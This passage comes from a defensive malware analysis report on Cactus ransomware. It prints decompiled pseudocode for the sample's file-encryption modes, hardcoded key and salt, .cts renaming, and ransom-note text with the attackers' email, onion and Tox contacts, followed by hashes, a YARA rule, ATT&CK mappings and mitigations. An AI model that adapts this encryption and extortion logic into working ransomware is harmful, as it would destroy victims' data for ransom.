    int keya; // [rsp+60h] [rbp+20h]

    ciphertexta = (int)ciphertext;
    keya = (int)key;
    len = 0;
    ctx = (EVP_CIPHER_CTX *)EVP_CIPHER_CTX_new(ciphertext, ciphertext_len);
    v5 = EVP_aes_256_gcm();
    EVP_DecryptInit_ex((_DWORD)ctx, v5, 0, 0, 0i64);
    EVP_CIPHER_CTX_ctrl(ctx, 9i64, 16i64, 0i64);
    EVP_DecryptInit_ex((_DWORD)ctx, 0, 0, keya, (__int64)iv);
    EVP_DecryptUpdate((_DWORD)ctx, (_DWORD)plaintext, (unsigned int)&len, ciphertexta, ciphertext_len);
    EVP_DecryptFinal_ex(ctx, &plaintext[len], &len);
    EVP_CIPHER_CTX_free(ctx);
}
```

Figure 25: aesKeyDecrypt Function

The strings containing UID, key, salt, and ransomware note are as follows:

```
std::wstring::basic_string<std::allocator<wchar_t>>(&projectUID[abi:cxx11], L"md94-hohi-5mk2-15ro", &_a);
std::allocator<wchar_t>::~~allocator(&_a);
atexit(_tcf_1_0);
std::allocator<char>::allocator(&v5);
std::string::basic_string<std::allocator<char>>(&key[abi:cxx11],
"812290f6d33c209c7ab3d381cda9532af74435d8aa315077fdaeb0bd800e15c343bfb2c35d03405a97028518b76be8722b10e6fcf69cfff942"
"e4020e54bce29b15620d2587aa321d06893019bfe9be47e3395116c0b66296dbe8b4c017b74544989dc9e98a4b721d94178883c467b1c972c8"
"acdf0696c2686fb90bcac26d1b62ac11a9644d06c061f8f6d7e8d42a7e7a8147d023e77e771230e0e56523b919295d9d0c1959cd28b4e76b8f"
"923ac9953e84e8b6dd75c980bc7e2a04c797757b1efcfb73c31361d84d4b3af9428fa216979e2f9a9684c8dc95583064826fe5edafe2ac2880"
"1d562bf7cf95541b3e8b9c1b4802566025707d4a2e93189700271e991e4cc59ffaff65bc00de4141af0092d1b90de74850b7cf4fa107d31823"
"2a26fc237ff9a70cb1fb92ea159aa304debac183e03d5ac9e49710861ff23e403074e791353e89fe2e953ab2144e7efda69ede8d5fb1d10765"
"b19176e15063b6af98c74580474fb8182a89619ce102b8cd825ca4f15049c6ba25506608113df9fca067d515cc2a3252086878dcee400c80af"
"a970b8eb43da4552780d4cca1233fb61dbac445360ade170a280deb8f46318dad0fc110672c29a8d39d36ec471ce90142fe4be63f898df264d"
"6db3b6c9845a094d0a529316df1b7635f32a709b1ae7eba19fcbdd0c8d65db2f9c0a5b95f58f54a2dff3b84a2df5fb348efe2bd58c3217eb510"
"2fb7e9203483df6a368cbcb660bdf9e59bc0cca30db55f5ce8dec378b324f130b05861b7e7b70ea0723aa1198d8bd5d5eb02454858a58c5fb"
"2c5a98d342c86b0b70df723a8b34ee31d2d67c3ee300521892e8d8c2afb9c9fb0e81a02a81a6976a7a78de507ed2b5f4cd2c8e9459a6281e6"
"7206f0c88b0e2a0a3d0472ada28c018bc032cc81773ec3ea1c89e27a4dc8608512993574bada8a93a7eb6b74a8ba6959e88306ac617c7eddef"
"7a0a285b10806500dca0f2029edc9eeb6d652ca437c198087b9283ce4b7133fd23831267b9408aa06ab6082296e00401a1cf9cee3b0b4a3611"
"d6068662b75a8b8ff44916b918ccb28e7ae7b255a41b4f2191b46e13fa0ec1b09f591b937beb6922d4d2e7724990b9f1a72e8e7363555ba818"
"157f9004178dc56b953823002ca80c7d",
&v5);
std::allocator<char>::~~allocator(&v5);
atexit(_tcf_2_0);
std::allocator<char>::allocator(&v6);
std::string::basic_string<std::allocator<char>>(&salt[abi:cxx11], "xMp14C5BZT5Q2C5v", &v6);
std::allocator<char>::~~allocator(&v6);
atexit(_tcf_3);
std::allocator<wchar_t>::allocator(&v7);
std::wstring::basic_string<std::allocator<wchar_t>>(&txtReadMeName[abi:cxx11], L"cAcTuS.readme.txt", &v7);
```

Figure 26: Config Strings

If the file size is greater than 8MB, it is partially encrypted. Otherwise, a full file encryption takes place.

```
protectThread();
if ( quickLockMarker )
{
    v8 = keyPublic;
    std::wstring::basic_string(&v11, p_filePath);
    cryptQuickFile(&v11, fileSize, v8);
    std::wstring::wstring(&v11);
}
else if ( fileSize > 8074034 )
{
    hashSize = 16 * (fileSize / 0x640);
    if ( hashSize > 0x28000 )
        hashSize = 163840i64;
    bufferSize = hashSize;
    v6 = sizeCoverGlobal;
    v7 = keyPublic;
    std::wstring::basic_string(&v10, p_filePath);
    cryptPartFile(&v10, fileSize, v7, v6, bufferSize);
    std::wstring::wstring(&v10);
}
else
{
    v4 = keyPublic;
    std::wstring::basic_string(&v9, p_filePath);
    cryptFullFile(&v9, fileSize, v4);
    std::wstring::wstring(&v9);
}
```

Figure 27: Encryption Mode

If quick mode is active, the Cactus Ransomware renames the files encrypted in this manner with the file extensions ".cts0" and ".cts1" by calling the cryptQuickFile function.

```
sizePart = bufferSize * (78848 / partsInFile / bufferSize);
v5 = partsInFile - 1;
sizeSkip = ((fileSize - sizePart * partsInFile) / v5 - 16) & 0xFFFFFFFFFFFFFFF0ui64;
cryptCtx = 0i64;
cryptCtx = (EVP_CIPHER_CTX *)EVP_CIPHER_CTX_new(
    fileSize - sizePart * partsInFile,
    (fileSize - sizePart * partsInFile) % v5);
size = EVP_PKEY_get_size(cryptKeya);
encryptedKey = (unsigned __int8 *)malloc(size);
iv = (unsigned __int8 *)malloc(0x10ui64);
ivLength = 16i64;
v7 = EVP_aes_256_cbc();
EVP_SealInit(
    (_DWORD)cryptCtx,
    v7,
    (unsigned int)&encryptedKey,
    (unsigned int)&encryptedKeyLength,
    (__int64)iv,
    (__int64)&cryptKeya,
    1);
std::operator+<wchar_t>(&tmpfp, p_filePath, L".cts0");
std::operator+<wchar_t>(&tmpfp2, p_filePath, L".cts1");
v8 = (const wchar_t *)std::wstring::c_str(&tmpfp);
v9 = (const wchar_t *)std::wstring::c_str(p_filePath);
_wrename(v9, v8);
```

Figure 28: Quick Lock

With the cryptFullFile and cryptPartFile functions, it renames the files with the extensions ".cts6" and ".cts7".

```
size = EVP_PKEY_get_size(cryptKeya);
encryptedKey = (unsigned __int8 *)malloc(size);
iv = (unsigned __int8 *)malloc(0x10ui64);
ivLength = 16i64;
v6 = EVP_aes_256_cbc();
EVP_SealInit(
    (_DWORD)cryptCtx,
    v6,
    (unsigned int)&encryptedKey,
    (unsigned int)&encryptedKeyLength,
    (__int64)iv,
    (__int64)&cryptKeya,
    1);
std::operator+<wchar_t>(&tmpfp, p_filePath, L".cts6");
std::operator+<wchar_t>(&tmpfp2, p_filePath, L".cts7");
v7 = (const wchar_t *)std::wstring::c_str(&tmpfp);
v8 = (const wchar_t *)std::wstring::c_str(p_filePath);
_wrename(v8, v7);
```

Figure 29: Full File and Part File Lock

3.12 Ransom Note

After encryption, Cactus ransomware generates a cAcTuS.readme.txt file containing communication details, personal IDs, and instructions for the victim.

```
v4 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(v18, L"Your systems were accessed and encrypted by Cactus.");
std::operator<<<wchar_t,std::char_traits<wchar_t>>(v4, L"\n");
v5 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
    v18,
    L"Do not interrupt the encryption process, don't stop or reboot your machines.");
std::operator<<<wchar_t,std::char_traits<wchar_t>>(v5, L"\n");
v6 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
    v18,
    L"Otherwise the data may be corrupted and unrecoverable.");
std::operator<<<wchar_t,std::char_traits<wchar_t>>(v6, L"\n");
v7 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
    v18,
    L"The best you can do is wait until encryption is finished to keep your files safe.");
std::operator<<<wchar_t,std::char_traits<wchar_t>>(v7, L"\n");
v8 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
    v18,
    L"Besides, we have downloaded a huge pack of confidential information from your systems.");
std::operator<<<wchar_t,std::char_traits<wchar_t>>(v8, L"\n");
v9 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(
    v18,
    L"To recover your files and prevent disclosure of your sensitive data contact us via email: ");
v10 = std::operator<<<wchar_t>(v9, &mailInPack[abi:cxx11]);
std::operator<<<wchar_t,std::char_traits<wchar_t>>(v10, L"\n");
v11 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(v18, L"Your unique ID: ");
v12 = std::operator<<<wchar_t>(v11, p_fixedIDForRun);
std::operator<<<wchar_t,std::char_traits<wchar_t>>(v12, L"\n");
v13 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(v18, L"Backup contacts: ");
v14 = std::operator<<<wchar_t>(v13, &secondMailInPack[abi:cxx11]);
std::operator<<<wchar_t,std::char_traits<wchar_t>>(v14, L"\n");
v15 = std::operator<<<wchar_t,std::char_traits<wchar_t>>(v18, L"TOX (https://tox.chat/):");
```

Figure 30: Ransomware Note Strings

```
if ( __initialize_p == 1 && __priority == 0xFFFF )
{
    std::allocator<wchar_t>::allocator(&_a);
    std::wstring::basic_string<std::allocator<wchar_t>>(&mailInPack[abi:cxx11], L"cactus@mexicomail.com", &_a);
    std::allocator<wchar_t>::~allocator(&_a);
    atexit(_tcf_0_1);
    std::allocator<wchar_t>::allocator(&v3);
    std::wstring::basic_string<std::allocator<wchar_t>>(
        &secondMailInPack[abi:cxx11],
        L"http://sonarmsng5vzwqezlvutu2iiwvwn3dxkhotftikhowpfjuzg7p3ca5eid.onion/contact/Cactus_Support",
        &v3);
    std::allocator<wchar_t>::~allocator(&v3);
    atexit(_tcf_1);
    std::allocator<wchar_t>::allocator(&v4);
    std::wstring::basic_string<std::allocator<wchar_t>>(
        &toxInPack[abi:cxx11],
        L"7367B422CD7498D5F2AAF33F58F67A332F8520CF0279A5FBB4611E0121AE421AE1D49ACEABB2",
        &v4);
    std::allocator<wchar_t>::~allocator(&v4);
    atexit(_tcf_2);
}
}
```

Figure 31: ID with Support Link

4 Indicators of Compromise (IOCs)

```
0f99e9767ac4b8950c2e6be2e33b5fe06fb400c65cb9af9d9e2b334d4dd73e33
78c16de9fc07f1d0375a093903f86583a4e32037a7da8aa2f90ecb15c4862c17
0933f23c466188e0a7c6fab661bdb8487cf7028c5cec557efb75fde9879a6af8
```

5 YARA Rule

```
rule MAL_Cactus_x64_Windows_Unpacked_Ransomware_Feb26{
  meta:
    author = "@reita"
    source = "brandefense.io"
    date = "26.02.2024"
  strings:
    $hex1 = {48 8D 45 F8 49 89 C0 48 8D 05 ?? ?? 40 00 48 89 C2 48 8D 05 F?
    ?? 51 00 48 89 C1 E8 ?? 9? 3D 00}
    $str1 = "cAcTuS.readme.txt" wide
  condition:
    all of them
}
```

6 MITRE ATT&CK Threat Matrix

1. **TA002** Execution
 - (a) **T1053** Scheduled Task/Job
 - i. **T1053.005** Scheduled Task
2. **TA005** Defense Evasion
 - (a) **T1027** Obfuscated Files or Information
 - i. **T1027.002** Software Packing
 - (b) **T1562** Impair Defenses
 - i. **T1562.001** Disable or Modify Tools
3. **TA007** Discovery
 - (a) **T1083** File and Directory Discovery
 - (b) **T1057** Process Discovery
4. **TA0040** Impact
 - (a) **T1486** Data Encrypted for Impact
 - (b) **T1489** Service Stop
 - (c) **T1490** Inhibit System Recovery

7 Mitigation Strategies

Mitigation strategies against Cactus ransomware involve a combination of proactive measures to prevent infection and reactive steps to minimize damage if an infection occurs. Here are some key strategies:

Regular Backups: Implement a robust backup strategy to ensure that critical data is regularly backed up and stored securely offline or in a separate location. This can help restore files without paying the ransom in the event of an attack.

Network Segmentation: Implement network segmentation to isolate critical systems and data from the rest of the network. This can help contain the spread of ransomware and minimize the impact of an infection.

BRANDEFENSE

United States · 300 Delaware Ave. Ste 210 #328 Wilmington, DE 19801 / USA
Turkey · Üniversiteler Mh. 1605 Cd. Cyberpark Vakıf Binası No: B25 Çankaya/Ankara

brandefense.io · info@brandefense.io